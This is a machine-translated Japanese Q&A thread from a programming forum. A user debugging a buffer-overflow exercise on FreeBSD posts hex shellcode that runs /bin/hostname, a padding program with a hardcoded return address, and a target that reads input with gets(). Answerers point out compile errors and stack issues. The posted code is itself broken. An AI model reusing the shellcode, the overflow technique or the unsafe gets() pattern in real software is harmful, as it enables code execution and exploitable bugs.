1

シェルコードはホスト名(bin / hostname)を出力します。しかし、コードを実行すると、パスが逆の順序で表示されますが、ホスト名は出力されません。私は実際にバッファオーバーフローを行っています。私はfreebsdインテルマシンを使用しています。これは私のコードです

エラーがどこにあるかを理解できますか

//Prog 1
    #include<stdio.h>
    main()
    {
    char shellcode[]= “\x31\xc0\x50\x68\x6e\x61\x6d\x65\x68\x68\x6f\x73\x74\x68\x62
       \x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x54\x53\xb0\x3b
               \x50\xcd\x80”;
     int i;
     char buf[108];
     i=strlen(shellcode); 
     printf(“%d”,i);
     strcpy(buf,shellcode);
     for(i=36;i<104:i++)
     {
      buf[i]='b';
     }
     buf[104]='\x2c';
     buf[105]='\xfa';
     buf[106]='\xbf';
     buf[107]='\xbf';

     printf(“%s”,buf);
         return 0;
    }   

上記のプログラムは以下のプログラムに挿入されます......したがって、バッファオーバーフローを作成し、ホスト名を出力します

#include <stdio.h>
int 
main (int argc, char **argv){
    char buf[100];
    printf("Please Enter your Name");   
        fflush(stdout);
    gets(buf);
    printf("Hello  %s \n",buf);
}
void notcalled(void){
//puts("cccc");
}
4

3 に答える 3

0

どうやら、バッファオーバーフローが発生している場所がわかりましたが、まだコード実行をトリガーしていないようです。ただし、buf変数のオーバーフローは、mainのリターンアドレスを上書きしようとしているため、どのような場合でもテキストを出力する必要があることに注意してください。また、コンパイラが予想とは異なるスタックレイアウトを生成したか、スタックが実行可能でない可能性があります(ただし、この場合はセグメンテーション違反が発生するはずです)。

デバッガーを使用して、メインの「return」ステートメントから始めてコードを1ステップ実行し、何が起こっているかを確認します。すぐにRET命令に到達します。これにより、シェルコードの開始アドレスが命令ポインタにポップされ、効果的にジャンプします。なんらかの理由でそれが起こっていないのではないかと思います。

于 2010-12-19T16:46:28.640 に答える
0
  1. あなたが定義int I;して使用しているi
  2. for は の:i++代わりに を使用しています;i++
  3. strncpy()size_tパラメータもありません
于 2010-12-18T23:32:27.653 に答える
0

このサンプル コードにはバッファ オーバーフローはありません。シェルコードを実行するのではなく、単に印刷しています。

投稿されたコードは、引用符、i vs Iの問題などにより、コンパイルさえしません。strncpy には 3 つの引数が必要です (さらに多くのエラーが発生する可能性があります)。

freebsd のシェル コードが正しい可能性がありますが、確認できません。ただし、Linux では間違いなく正しくありません。

于 2010-12-18T23:33:16.763 に答える